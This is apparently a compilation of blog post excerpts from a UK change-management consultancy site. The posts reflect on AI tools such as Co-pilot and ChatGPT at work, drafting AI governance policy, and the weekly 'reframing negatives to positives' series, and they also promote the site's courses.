Categories: Impact of AI on business change and transformation As a judge for the Change Awards, I read lots of submissions for the category of best digital transformation. One thing that struck me about all the submissions was the recognition that transformation was much more than implementing new digital tools and applications. Transformation means transforming how others work. This is a big leap forward, but the reason these submissions were worthy of short-listing for the awards is that recognition of the need for effective change management alongside project and programme management is still not universally recognised. Digital Transformations and AI The next wave of digital transformation is now upon us, with the need to adopt new AI tools. There are different schools of thought about the impact of AI. Some see AI as just an extension of existing transformations, with AI superseding streamlining and automation of existing processes via robotic process automation. Others view AI as far more radical, requiring new technological skills and new design capabilities, away from traditional IT architecture planning. Whatever your view, one thing AI will do is change how people work. It is this impact on people that requires us to ensure the scope of any AI adoption includes behavioural change. A lot of the current AI initiatives focus on improving how people do their current jobs, using AI as a co-pilot to existing processes. This does not radically alter the scope of the work, but it does require a shift in attitudes and beliefs. Our role in change might focus more on creating... --- ### Artificial Versus Emotional Intelligence > Will the use of AI lead us to focus more on using our humanity to uncover more information than surface level analysis can reveal? - Published: 2024-04-08 - Modified: 2024-04-08 - URL: https://agilechangemanagement.co.uk/artificial-versus-emotional-intelligence/ - Categories: Impact of AI on business change and transformation I am fascinated by the term “Artificial intelligence” as I think both these words throw up interesting questions – what do they mean; what do they mean now; will they mean different things in the future? The Definition of Intelligence This week I have been thinking about the definition of intelligence, and what the counter-balance to artificial intelligence is – is it human intelligence, real intelligence etc. My thoughts have been triggered by two situations: Coaching someone who did poorly at school, did not go to university but has run many successful businesses. Discussing his achievements, we often refer to the work of Howard Gardner, Professor of Cognition and Education at Harvard University. His work on multiple intelligences is helpful in moving past the narrow definition of IQ and cognitive ability as we consider what makes this man such an effective leader. We use this to debate what great leadership is for the next generation. My colleague runs an amazing online master class in emotional intelligence, which encompasses the intra-personal and interpersonal intelligences that Gardner identified (and in my mind also includes the linguistic intelligence – using your empathy to find the right words at the right time). Looking at the syllabus of her course has made me think about how important this type of intelligence will be as we use AI for more and more analytical work. Focus on Using Our Humanity Bringing these two streams of thought together, I believe the challenges posed by AI in the workplace... --- ### LinkedIn Learning and AI > As LinkedIn has such a big global reach, I was interested to find that their learning platform, Linkedin Learning is now using an AI front end - Published: 2024-04-02 - Modified: 2024-04-02 - URL: https://agilechangemanagement.co.uk/linkedin-learning-and-ai/ - Categories: Impact of AI on business change and transformation As I continue to build my knowledge, I read articles and look at what is being offered to try to understand which aspects of AI will become mainstream. Using LinkedIn Learning As LinkedIn has such a big global reach, I was interested to find that their learning platform, Linkedin Learning is now using an AI front end whenever someone is looking for training. Of course, I tried it out when searching for change management courses, as I like to know what is happening in my professional discipline – by the way, if you want more on this, have a look at this paper on online tools for building capability for change. My learning from experimenting with the LinkedIn Learning platform was the realisation that if we want intelligent answers, we need to give artificial intelligence the intelligence to play back to us! Anything which personalises results will require accurate personal data to be useful. We have to make the decision how much about ourselves we share. For example; to get the most out of these course recommendations, and save the time that AI keeps promising us it offers, I need to take time to update my profile with as many useful key words as possible so that the learning algorithm can find what I need. I could do this by keeping my list of past courses and certifications up to date, otherwise it will duplicate areas I have already studied. What are your views about how this works and how... --- ### AI in Professional Fields: Where Are We Currently At? And how is the Landscape Changing? > The development of AI in professional fields – what has already changed, where have we come from and what can we expect in the future. - Published: 2024-03-25 - Modified: 2024-03-25 - URL: https://agilechangemanagement.co.uk/ai-in-professional-fields/ - Categories: Impact of AI on business change and transformation An interesting quote in this article: “OpenAI have launched a simple tool for creating ChatGPT-powered apps – similar to the initial battle for supremacy between iOS and Android. ” AI is becoming more prominent in all professional fields. Bill Nelson, head of NASA, believes that AI is the new space race and that there are useful lessons to be learned by comparing where we are now with the competition between the US and Russia for supremacy in space in the 1960s that led to the moon landings. He cites the international cooperation in legal concerns that led to the UN Outer Space Treaty of 1967.   When I wrote my first attempt at an AI governance framework a few weeks ago, I was conscious that we are in unchartered territory, and many of the norms for how AI will be applied do not exist yet. The potential fight for supremacy between OpenAI (the lab that developed ChatGPT) and Microsoft, Meta, Alphabet and new companies just getting started, including Builder. AI with their no-code app builder offering, will be a choice. AI in Professional Fields - Change and Transformation As AI changes, becomes more advanced and grows, it is being used more and more in different professional fields.   In the future, there will be many apps and different approaches that use AI in professional fields.   I can’t speak for everyone, but; As a change professional, the use of AI in various roles makes me think that many of the change initiatives I... --- ### Using AI for L&D Ideas > Find out more about using AI for L&D ideas. Do you think AI is the biggest change in business development this year? - Published: 2024-03-18 - Modified: 2024-03-18 - URL: https://agilechangemanagement.co.uk/using-ai-for-ld-ideas/ - Categories: Impact of AI on business change and transformation Change means learning something new, so I am always interested in what I can learn from my colleagues in Learning and Development, sourcing new ideas and hearing about how learners want to learn, which informs my change plans. I was listening to a webinar explaining the results of the latest L&D sentiment survey. Donald H. Taylor is a respected source in this area, and his remarks about the trends and challenges in L&D are always worth listening to. What caught my eye was that over a fifth of respondents stated that AI is their biggest challenge but that there was little understanding of how it might be used. Ideas about how it might be used for personalisation of the content; using it to reduce the costs of running L&D and using it for content creation were the top 3 ideas. But... the audience when asked didn’t have many examples to share. This aligns with my own experiences of change initiatives at the moment, there are few ideas about how to incorporate AI, but it is appearing in the scope of initiatives because sponsors want to ensure that the changes they are endorsing are future proofed. AI – The Biggest Change Last Year In the latest Capability for Change survey, 9% of respondents said that AI was the biggest change in their organisation in the last year, but I suspect the figure is much higher because 18% said increasing digitisation was their focus and 17% increasing operational efficiency was the big... --- ### AI-Generated Work – When Help Becomes a Hindrance > Here are a few questions I think we can use to assess if someone has done the work and is not passing off AI-generated work as their own. - Published: 2024-03-11 - Modified: 2024-03-11 - URL: https://agilechangemanagement.co.uk/ai-generated-work-when-help-becomes-a-hinderance/ - Categories: Impact of AI on business change and transformation Last week, I mentioned some concerns about how AI risks taking shortcuts, which are counter-productive when we really need original work, not AI-generated work. You may have seen online that a new Google core update is rolling out this month, focusing on clamping down on AI-generated content. I was talking to a very unhappy company owner recently who had been told by Google that a lot of the content on his website was coming from AI tools, so it was going to be ranked a lot lower on the search engine than if it was original content. He was very angry because he had been paying a marketing company to create unique content. Clearly, there is a boundary between using AI to achieve an efficient shortcut and being deceitful about how much work is really ours. How can we know when an answer is not unique and specific to our situation but is produced by AI? AI-Generated Work – Assessment and Uniqueness Here are a few questions I think we can use to assess if someone has actually done the work and is not passing off AI-generated work as their own. I think it is helpful to share these criteria upfront before work is done and not just use them to assess the output. This is because knowing the criteria that is used to judge the quality of work encourages people to create quality work in the first place. Uniqueness assessment criteria: How many sources of reference did you use?... --- ### Is using AI making me lazy or more efficient? > My early experiences of using various AI tools have already caused a shift in my behaviour. Is AI causing me to be more efficient or lazy? - Published: 2024-03-04 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/is-using-ai-making-me-lazy-or-more-efficient/ - Categories: Impact of AI on business change and transformation I am only a few weeks into my experience of using various AI tools and already I am noticing a shift in my behaviour and it's making me wonder if using AI is making me lazy or more efficient... Below are a handful of examples: Using the AI re-write function This morning, I was posting an announcement to the Change Capability Community. I run this group on top of all my other responsibilities so am often pressed for time. I needed to get information to the group, and whilst I knew what I wanted to say, when I read my post, it wasn’t clear. I clicked the AI re-write function and it transformed the post into a compelling and engaging statement. Utilising Microsoft Co-Pilot Yesterday, I was struggling to decide what topics to include in a report, so I asked Microsoft Co-Pilot for a description of the subject. I didn’t agree with all the topic headings but it sparked ideas, and I started writing my own content. Making use of ChatGPT I had to write a series of guidelines, so I typed a request into ChatGPT and it gave me a ready-made document. Obviously, I edited this and added my own thoughts and content, but it was a rapid way to get started. Does using AI mean I am cheating? These shortcuts make me feel a little uneasy. There is a small part of my brain that tells me “I am cheating! ” whenever I use AI. I was also... --- ### Living With AI at Work > AI at work: Read about with my first attempt at writing a governance policy for the AI that Agile Change Mangement uses. - Published: 2024-02-26 - Modified: 2024-02-28 - URL: https://agilechangemanagement.co.uk/living-with-ai-at-work/ - Categories: Impact of AI on business change and transformation This blog shows my stumbling early steps through “living with AI at work” and this week I had my first attempt at writing a governance policy for the AI that my company uses. Living With AI at Work to Write a Governance Policy To provide the context, my company is called Capability for Change Limited, and we have a solutions platform that provides techniques and practical guidance in how to manage change at work. The platform is called ChangeabilityPro® and it uses AI to help people find the answers they need. Our users are managers and staff impacted by change. They are not change experts, so they want an easy way to find what they need, without having to decide what aspect of change management is most relevant. To enable them to find immediate, relevant solutions we use a natural language processing tool. Our users type in a description of their situation, and our platform shows them several techniques. We are not collecting data about our users, but we are using their descriptions of their problems to provide a service. To get me started with my policy, I read lots of other IT governance policies. My conclusion after several hours of research was to step back and think about being a human being! Keep the Language Simple I decided to try and write this policy in simple language that anyone could understand: Introduction This policy establishes the principles that guide the development, deployment, and maintenance of AI by Capability for... --- ### My early experiences with Co-Pilot from Microsoft > This week I have been trialling Co-pilot from Microsoft. Find out more about my experience and how I would recommend using it in business. - Published: 2024-02-19 - Modified: 2024-02-19 - URL: https://agilechangemanagement.co.uk/my-early-experiences-with-co-pilot-from-microsoft/ - Categories: Impact of AI on business change and transformation This week I have been trialling Co-pilot from Microsoft. I just click on the icon, and it runs alongside whatever I have open on my desktop. I am building a new customer experience process for a client (I am involved in a global transformation, changing the organisation from face-to-face consultancy to online delivery) so I wanted more information about the Gartner Customer Effort Score. When I asked Co-pilot for information, it came back with a useful, relevant description. The difference between putting my simple search into Google and into Co-pilot was that Google gave me a list of sources to click through and find what I wanted. Co-pilot gave me a description, set of criteria and guidance on how to use this scoring approach. At the end of each reply, Co-pilot makes suggestions for 3 other questions I might like to ask. On average, I found at least 2 of these questions to be useful as they prompted me to keep going and find out more. Co-pilot and ChatGPT To be honest, the experience with Co-pilot feels very similar to using ChatGPT, with the advantage that I don’t have to remember a separate login for ChatGPT or leave the document I am working on. The downside is that when I use this tool (or ChatGPT) for subjects in which I am an expert, it is immediately obvious how basic and sometimes out of date the information is. I asked it to list models for a Change Impact Assessment, and it... --- ### Identifying Areas for Change – Should We Use AI? > I’ve been running workshops to increase the ownership of those who need to identify areas for change and whether or not we should be using AI. - Published: 2024-02-12 - Modified: 2024-02-12 - URL: https://agilechangemanagement.co.uk/identifying-areas-for-change-should-we-use-ai/ - Categories: Impact of AI on business change and transformation I have been running workshops to increase the ownership of those affected by change and to identify areas for change. There is nothing exceptional about this, so why write about it? Because in a world of AI, I sometimes feel a little queasy about the path I am leading people down. Read on and see if you are going to encounter the same challenges to your integrity as I am starting to see. How I Identify Areas of Change As part of any kind of change initiative, we run workshops to identify how current processes work, which can help identify areas for change. We encourage everyone to create a shared understanding of the steps taking place in their team and the steps they rely on from further upstream in their organisation and to specify what happens with their outputs further downstream. Identification of Problems to Become Areas for Change To create a desire for change, we encourage the identification of problems: duplication, missing steps, extended delays between steps, and rework. For example, I often use this simple breakdown to help people identify things they would like to do differently. This approach is asking people to find the problems; the emphasis on the negative gets the conversation going very quickly because all humans are faster at finding problems than benefits – it is part of our survival instinct. Having established everything we would like to do better, we can use the workshop to create these improvements and establish measurable success criteria.... --- ### Understanding AI – It's everywhere! > Understanding AI & utilising AI tools is a popular trend. Lots of companies are trying things out, learning as they go and sharing experiences - Published: 2024-02-05 - Modified: 2024-02-05 - URL: https://agilechangemanagement.co.uk/understanding-ai-its-everywhere/ - Categories: Impact of AI on business change and transformation AI is an incredibly popular subject, and I think we are just at the start of the wave. Understanding AI and utilising AI tools is a popular trend, with lots of companies trying things out, learning as they go and sharing their experiences. How I'm Increasing my Understanding of AI As AI manifests in all areas of business, I know (like you) that I am constantly playing catch-up. I thought it would help you decide on your own actions if I share a few things that I am doing to further understand AI as I go: The new phone from Samsung – it is AI enabled and it has prompted me to arrange an upgrade – simply because I think using the AI functionality every day on my phone will build my knowledge and my confidence. This article gives a useful overview of how AI is going to be applied to our phone experience this year. Learning from peers - Understanding the context of source material on AI can be challenging, so I like it to be recommended to me. I also find it useful when others who know more about AI share their perspectives. I recommend you join this group on LinkedIn as it is a quick way to source interesting documents, webinars and events: https://www. linkedin. com/groups/37888/  Making time to research and review - Put aside at least 15 minutes once a week to do a quick review of articles, watch videos, etc. – little and often is a good... --- ### Sometimes Artificial Intelligence Looks Really Artificial > AI allows us to create content instantly, but remember, sometimes Artificial Intelligence looks really artificial – what can we do about this? - Published: 2024-01-29 - Modified: 2024-01-29 - URL: https://agilechangemanagement.co.uk/artificial-intelligence-looks-really-artificial/ - Categories: Impact of AI on business change and transformation With the rise of AI writing tools and the ability to create written content in minutes, it’s important to be aware that sometimes Artificial Intelligence looks really artificial – but what can we do about this? Last week I had to deal with a sensitive AI situation – a client had used ChatGPT to produce a research report. They wanted to save time, so they collated the statistics with some hastily written descriptions and then copied this into ChatGPT with the instruction to “write a management report”. They wanted to save time, but... . the report that ChatGPT produced used terminology and a language style that was so “salesy” and not authentic to the culture of the organisation. I read it and immediately called them as it some of the phrases used so many words it was difficult to read. I know from my own experiences in the last few months that ChatGPT creates high volumes of words, using 10 when 2 would have done! The result of this situation was that it took longer to edit what the “intelligence” had created than if they had written it themselves. This illustrates that we need to use these tools with care. Artificial intelligence can be given some wording and will use similar examples and information to create a report but there are many things it doesn’t know. In this case: It doesn’t know the likes and dislikes of the audience. For example, it was not able to respond to their dislike... --- ### Benefits of Neuroscience for Change Course  > There are several benefits of our neuroscience for change course. Find out the main reasons you should invest and sign up today. - Published: 2024-01-25 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/benefits-of-neuroscience-for-change-course/ - Categories: Neuroscience There are several benefits of taking the Neuroscience for Change course. If you are contemplating taking this course, our top 5 reasons to invest will interest you. Top 5 Reasons to Learn Neuroscience for Change No More Guess Work - You are not guessing if the actions you are taking will work. Applying neuroscience enables you to use an evidence-based approach so you can make informed decisions on what to do when to do it, and how to do it. Become More Adaptable - You are more adaptable to change because you understand how your brain works, so you can be more certain about how you and others react to change situations, what triggers that reaction and what action to take. Boost Your Confidence - Change creates powerful emotions of threat and reward. As you learn how the brain works, you will gain new insights and perspectives that strengthen your confidence in dealing with these emotional reactions. Increase Your Motivation - This knowledge increases your motivation because it is so interesting. We all have brains, and understanding how our brains process information and make decisions gives us new insights and new perspectives at work and in our personal lives. All Around Success - You feel more confident because your understanding of how the brain works enables you to accurately select which actions to take, make fewer mistakes, and build more effective relationships with your colleagues and stakeholders more quickly. What Is Neuroscience? Neuroscience is the study of the brain and... --- ### Should We Use AI To Automate Repetitive Tasks? > As AI is deployed increasingly to automate repetitive tasks, I keep being reminded that what we value will shift. - Published: 2024-01-22 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/should-we-use-ai-to-automate-repetitive-tasks/ - Categories: Impact of AI on business change and transformation As AI is deployed increasingly to automate repetitive tasks, I keep being reminded that what we value will shift. Read my last Insight about adopting AI here The real questions is should we use AI to automate repetitive tasks? Or does this take away the expertise and experience which is required for the task to be completed correctly. Where does the cost out weigh the gain? Expertise and Experience Vs. AI I was watching acrobats at a circus this weekend and their performance was captivating. I appreciated their expertise. Watching someone so skilled perform what appeared to be impossible tasks was terrific. Their expertise got me thinking about all the amazing change professionals I work with. They use their extensive experience, creativity, intelligence, and empathy to carefully and thoughtfully arrange presentations, workshops, demonstrations, and training to enable those affected by the change to adopt new ways of working. But... their skills make their work look easy. No one sees all the thought, the research, the negotiations, and the long hours involved in delivering this positive change experience. It causes a problem because the easier we make something look, the less valued it is. This means a lot of what we do might be thought of as ripe for automation because empathy, emotional intelligence, curiosity, and care for people are not visible. So does this mean we should be using AI to automate repetitive tasks? Or will the recipients of those tasks be missing out on the experience and authority that... --- ### Adopting AI for Change  > As with any cultural adjustment, adopting AI for change is a long-term undertaking and is likely to last years – if not longer. - Published: 2024-01-15 - Modified: 2024-01-15 - URL: https://agilechangemanagement.co.uk/adopting-ai-for-change/ - Categories: Impact of AI on business change and transformation At the end of my blog last week, I identified a cultural impact of adopting AI tools. In this insight, I’ll be discussing adopting AI for change within an organisation. Adopting AI for change in 2024 Starting this year, I think we are going to have to encourage everyone in our organisations to adopt a new perspective about what they do, how they do it and how they can incorporate AI if required. As with any cultural change, adopting AI for change is a long-term undertaking. It is likely to last years, but the likely winners in an AI world are already conversing about how to use AI to make their processes smoother and more efficient. I think the core change is a shift from doing to intelligent understanding. What about expertise and knowledge? Even with the adoption of AI, we still need subject matter experts. In fact, I think we need them even more as a deep understanding of a task is required to decide on the best use of AI automation. As I have written about before, we need criteria-driven interaction with AI to use it wisely. Without thought, it has the power to create repetition and dilute the quality of our work. Creating a work culture to adopt AI  If we are to create a culture that prizes understanding, we need to think about how we shift the prevailing assumptions and beliefs about what we value. Those who like to come to work and get things done, praised for their... --- ### Using AI Tools to Optimise Workflow > There is so much information to digest when it comes to AI. New tools are always being launched, as well as existing tools increasing in users. - Published: 2024-01-08 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/using-ai-tools-to-optimise-workflow/ - Categories: Impact of AI on business change and transformation - Tags: Agile change management, ai for change, change management Note – within this blog, I’ll be discussing AI tools to optimise workflow and focusing on Microsoft. However, this is not a blog to specifically advertise Microsoft. There are plenty of organisations that use G-suite, but I am using Microsoft as an example of what I think is coming next. Through 2023, there has been so much information to digest when it comes to AI. New tools have been launched throughout the year, and existing tools have seen a massive increase in users. Through 2024, it’s interesting to think about where AI will take us next. There will be so many aspects that AI can help with; one of the most useful ones for me will be using AI tools to optimise workflow. Using AI Tools to Optimise Workflow When discussing AI tools to optimise workflow, it’s interesting to think about how far we have come recently. Do you remember before the pandemic, one of the most common changes (as part of digital transformation) was the roll-out of Office 365? During the pandemic, the focus changed to encouraging the use of Microsoft Teams. Now, I am seeing digital consultancies gearing up to take their clients through a roll-out of Co-pilot. This is an AI tool that claims to optimise our workflow, making things faster and more repeatable. For example, this tool will generate text and tables in Word, draft emails in Outlook, and summarise content, for example, giving us the highlights of a long email or Word document. These initial... --- ### Using AI tools to grow your knowledge > There are so many different AI tools available today! To get the most from AI tools to grow your knowledge, we have to do the up-front thinking. - Published: 2023-12-18 - Modified: 2023-12-18 - URL: https://agilechangemanagement.co.uk/using-ai-tools-to-grow-your-knowledge/ - Categories: Impact of AI on business change and transformation - Tags: Agile change management, ai for change, change management I am using lots of different AI tools to grow my personal knowledge because it is one of the quickest ways to learn new information. One thing that all the tools have in common is the openness of the options. All the tools have an “ask me anything” search facility, which is great for growing knowledge. Initially, an ‘ask me anything’ feature sounds great because the tools can generate information on anything you want to grow your knowledge on. But, it has got me thinking about the amount of time that is wasted by scrolling through vast amounts of information that we could be subject to when we are not specific enough at the start. How to get the most out of AI tools to grow your knowledge To get the most from AI tools to grow your knowledge, we have to do the up-front thinking. Be clear about what we are trying to learn and achieve. If we don’t think ahead, we will still get answers, but they are often so generic and wordy that they are useless. Helpful questions and considerations for using AI tools to grow your knowledge To make sure that I am using the AI tools at my disposal in the best way to grow my knowledge, I am having to train myself in a new way of thinking. I wanted to share the questions I am using to refine my searches – you may find it helpful to think about the following: What do... --- ### When Should I Use AI for Generating Content in My Field?  > Everyone is jumping on the AI train, which is making all of us question when using AI for generating content is the right thing to do - Published: 2023-12-11 - Modified: 2023-12-11 - URL: https://agilechangemanagement.co.uk/when-should-i-use-ai-for-generating-content-in-my-field/ - Categories: Impact of AI on business change and transformation - Tags: Agile change management, ai for change, change management AI is everywhere. Everyone is jumping on the AI train, which is making all of us question when using AI for generating content is the right thing to do and when it’s best to create the content ourselves. Why Are We Using AI for Generating Content? Since LinkedIn added a button to its Post feature, offering me the chance to use AI to rewrite everything I post, I have developed an inferiority complex. The implication is that AI could do a better job and that I am clearly missing out by writing things for myself. It is making me feel that doing things for myself, without pushing them through an AI review/rewrite cycle, is old-fashioned and a bit Luddite. As the offer to use AI for generating content comes up every time I post, it is a relentless drip feed, pushing me to deny its use each time. Eventually, I fear I am going to give in and just click the AI button. This is making me think about how, in future, we will need clear guidelines on when it is acceptable to use AI for generating content and when it is more appropriate to use our own thoughts. I am a specialist in my subject, so is it a good idea to hand over my thoughts to AI? Will AI improve my sentence construction and readability of my posts? Or will AI change the emphasis and meaning, destroying the value that I offer my readers? My 2 Key Criteria... --- ### Week 44 - Top 5 Advantages of reframing negative thoughts to positive ones > Never underestimate the power of reframing negative thoughts and establishing a positive environment – it gives us so many advantages. - Published: 2023-12-04 - Modified: 2023-12-04 - URL: https://agilechangemanagement.co.uk/5-advantages-of-reframing-negative-thoughts/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Advantages of reframing negative thoughts Reframing negative thoughts and establishing a positive environment gives us so many advantages: We are more open to hearing new information, so we are less likely to shut down conversations or suggestions from others, and we are more curious about possibilities and seek out new sources of information We are more creative because we can process more information than when we are stressed. The more information we can process, the more insights we have, the greater our ideas generation We are less defensive, and we are more generous in how we engage with others, which reduces the level of conflict and means people have more energy to bring to their tasks Feeling positive and optimistic builds our resilience, which increases our ability to keep going despite problems and barriers to our progress. As we keep going, we have more achievements, which feeds our positivity because we feel proud of what we have done Positivity reduces our adrenaline and increases our dopamine (the feel-good chemical reaction in the brain), and this happiness infects others, reducing the sources of stress around us increasing our ability to remain positive – another virtuous circle That’s a wrap on reframing negative thoughts I hope all the blog posts about reframing your negative thoughts and situations into positive ones have given you examples of how I struggle to achieve this and how a mindset of finding the good in every situation is a daily battle but one worth pursuing. View some... --- ### Week 43 - Measures can be motivating > As I started this post, I looked up the definition of vicious circle to make sure I was properly describing how I feel today. - Published: 2023-11-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-43-measures-can-be-motivating/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives I have too many claims on my time and not enough time to do everything I want to do. I have the feeling that things are moving so fast I cannot remember what I have completed and what still needs to be done. This is a quick way to lose motivation, because if we don’t think we are getting anywhere, it is not easy to find the energy to keep going. This has got me thinking about how useful some of the automatic measures in my life are. For example: I have a watch that tells me how many steps I have taken in a day – and when I check at lunchtime and the number is too low, it motivates me to go for a walk Outcome – I don’t let more than a day go past without thinking about my well-being and staying healthy I have an app that tells me what new techniques I have learnt each week and how many minutes I have spent on my personal development. I try to use this app a couple of times a week, so that I have new ideas for how I do things. I check the app on a Friday morning and if I realise a whole week has gone past without any learning, I take some time out for a 30 minute update Outcome – however busy I am, I don’t lose sight of my own improvement, which keeps me curious and flexible in my thinking, which... --- ### Week 42 - Getting Out of a Vicious Circle > As I started this post, I looked up the definition of vicious circle to make sure I was properly describing how I feel today. - Published: 2023-11-20 - Modified: 2025-06-09 - URL: https://agilechangemanagement.co.uk/week-42-getting-out-of-a-vicious-circle/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives As I started this post, I looked up the definition of vicious circle to make sure I was properly describing how I feel today – “A vicious circle (or cycle) is a complex chain of events that reinforces itself through a feedback loop, with detrimental results” I think that captures it – I am caught in a cycle of getting frustrated that everything takes longer than I had planned, then I get angry for having too many things to do, which means I am unhappy. My moment of clarity came as I stood in a welcome meeting for new members at my co-working space. I had a moment to catch up with someone who started at the same time as me, and we talked about the stress we are under. Even as a I spoke I could feel the stress coming from me, as I described all the calls on my time from so many different sources. Describing it to others is a quick way to realise that what is happening is not what we want – we know we sound unhappy as we talk. This was a great wake-up call, as I had spent the weekend talking with my partner about changes I need to make. Knowing what I know about neuroscience, I am going to use the “bring the future into the present” technique. I hope it helps you as much as it helps me. Step 1 Decide on a timeframe for your future self – the easiest... --- ### The Advantages of Self-Paced Learning Online > What are the advantages of self-paced learning online? Why you should consider completing qualifications and certifications in this way - Published: 2023-11-15 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/advantages-of-self-paced-learning/ - Categories: Change management profession - Tags: Agile change management, change management, Change Management Profession At Agile Change Management, we offer some of our courses as online self-paced learning certifications. What is Self-Paced Learning? Online self-paced learning is an educational style where individuals have the accessibility and flexibility to study and progress through course materials at their own preferred pace, using online resources and materials. Self-paced learning is often associated with e-learning and distance education, which is perfect for many of our courses. Once you subscribe to your chosen course, all the learning materials you need are available for you to access at your leisure. Advantages of Completing Self-Paced Learning Courses with Agile Change Management Gaining qualifications in any format can be so beneficial for any individual and can hold long-term value for your career in the future. Some of the most important reasons to invest in self-paced learning qualifications with Agile Change Management are; Get Paid What You Deserve: It is hard to negotiate a raise, it is easier to start your new role at the highest possible rate. Being qualified as well as experienced adds extra value and gives those hiring you a reason to pay you more. Improve Your Interview Skills: Interviews can give an optimistic view of your potential new working situation, training courses give you insight into how things should be done (best practice, examples of how other organisations do things), which provides you with a benchmark to compare against. You can ask insightful questions, and if you accept the role, there is a greater chance it will meet your... --- ### Using AI to “listen” to what is being said about our change initiative > This article has triggered lots of ideas about how we can use AI to listen to what is being said in terms of the impacts of change. - Published: 2023-11-13 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/using-ai-to-listen-to-what-is-being-said-about-our-change-initiative/ - Categories: Impact of AI on business change and transformation - Tags: Agile change management, change management, impact of ai This article has triggered lots of ideas for me about how we listen to the impacts of change. It is hard to capture the true level of support for change or track how much people are really changing their ways of working from surveys rating their views from 1 to 5. We need to capture thoughts, feelings and ideas but this gives us large amounts of information to work through. AI tools are great for sifting through this and finding key themes within only a few seconds. A great example of how AI can improve our stakeholder engagement during change. https://hbr. org/2023/11/how-genai-can-boost-social-listening? ab=HP-hero-latest-text-1 Of course, identifying key words and themes from large volumes of data is only one element of the work. We need change experts to understand the ramifications of what we are being told. For example, if you are seeing a lot of feedback which is still questioning why the change is needed, then your change experts will need to devise an engagement strategy that addresses this early stage resistance. If you are seeing themes which complain that the changes have made work more difficult, that service to customers has declined because of lack of functionality etc then you need your change experts to bring together those in the project teams to identify what if anything can be done to enhance functionality and make the change more workable. On the positive side, if the AI tools identify examples of more benefits of the change, then your change experts... --- ### Week 41 - The Chaos isn’t Permanent > Many of us are at our busiest right now, as we try to get things finished before the end of the year. - Published: 2023-11-13 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-40-the-chaos-isnt-permanent/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Many of us are at our busiest right now, as we try to get things finished before the end of the year. As I look around my office, and at all my emails, I become downhearted about how few things are finished. There is so much work in progress, nothing feels organised or certain. Nothing feels tidy, everything is spread across my desk because every day I have to try and sort out multiple projects. When this environment of “unfinished, never-ending, clutter everywhere” gets me down, my best course of action is to remind myself that this is not forever. Things will get finished, things will get closed and tidied away. Every year, before I finish for the holidays, I give myself one day for “endings” – it is always the last working day of the year, and I plan for it carefully. Thinking about it right now cheers me up, it is already making me smile, so I hope it works for you. Use my list to prepare your own private year end party! Decide on the day – I have booked Friday 22nd December in my diary as the day the chaos ends – so that everytime I look at my overstocked inbox, or the pile of papers in the corner, I can honestly tell myself “this is not forever”. Celebration – work out ahead of time and end point for your day, and attach a celebration to it. In my case, I will stop mid-afternoon, when my... --- ### Week 40 - Enjoy the moment > I wasn't feeling especially negative over the weekend but the bad weather and the shorter days make me sad. - Published: 2023-11-06 - Modified: 2023-11-06 - URL: https://agilechangemanagement.co.uk/week-40-enjoy-the-moment/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives I wasn't feeling especially negative over the weekend but the bad weather and the shorter days make me sad. To turn things around I spent Sunday afternoon taking my dogs to the beach. It gave me a chance to witness pure joy. One of my dogs adores riding in the car. She sticks her head out the window, she leans into the corners and barks with excitement. Seeing her unrestrained pleasure in the moment, delighting in everything - the wind blowing her ears, running in the sand, jumping in the wages. The lesson I took from this was that joy was in the moment. Not thinking ahead, to what else I need to do, what might go wrong, what I need to add to my to do list.   There are lots of my work that I really enjoy, but I don't give myself a chance. I'm too busy thinking about all the other things I need to do. If I want to get more pleasure from my day, I should stay in the moment. I should clear away any distractions.   When I do this I realise that what I do is interesting, often working on new things, the excitement of learning new things and working with talented people. Conclusion When I get a chance to do some interesting work, I'm going to savour it. I'm not going to be distracted. I'm going to enjoy the moment. --- ### Week 39 - Lessons learnt from losing the argument > This week I failed to engage my stakeholders in an important change. As I was announcing the introduction of a new app, I could feel the negativity in the room. - Published: 2023-10-30 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-39-lessons-learnt-from-losing-the-argument/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Why I feel negative This week I failed to engage my stakeholders in an important change. As I was announcing the introduction of a new app for managing projects and sharing up to date progress information, I could feel the negativity in the room. The group are protective of their ways of working, and if any changes need to be made, they want detailed reasons for why this change has been chosen, who has authorised it, and what the impacts will be. On reflection, my arguments just weren’t strong enough, so I am using their resistance as a chance to improve my approach. How am I going to feel positive I am going to widen my argument from the insular view of how the change affects only their team, to show them a broader desire for the change, using this model: Managing upwards The use of this app aligns to our values for how we believe we should work in this organisation. We value efficient working, where people are not held back waiting for permission or waiting for the contribute of others. We value initiative taking and a willingness to demonstrate personal responsibility for achieving our goals. Managing forwards We will be able to do view the total work involved in each initiative, which means we do not have to send emails to let others know what we are doing, or read emails from colleagues about their work. We can reduce the number of times we duplicate our work, because... --- ### Week 38 - Intentional use of our time > Last week I felt I wasted precious time with a colleague, because I had not planned the right type of work for the situation. - Published: 2023-10-23 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/week-38-intentional-use-of-our-time/ - Categories: Reframing the Negatives to Positives - Tags: Agile change management, change management, Reframing the negatives to positives Last week I felt I wasted precious time with a colleague, because I had not planned the right type of work for the situation. My colleague and I were working face to face for the first time in weeks. We got a lot done, but as we came to the end of our day, I knew there was still a lot to cover. My lesson from this is that we each wasted time doing some of our own work during the day, when we could have prepared ahead, and devoted all the time together to things that needed a joint discussion, or that one of us needed to show the other. For me, this is just a reminder that with hybrid working now being the norm, squeezing in all the comments, updates, advice, reminders etc that we don’t even notice we provided when we are in the office every day together takes work. I need to be less accidental when I am working alongside my colleagues as I might not get a chance to spend so much time with them for another few weeks. If this resonates with you, 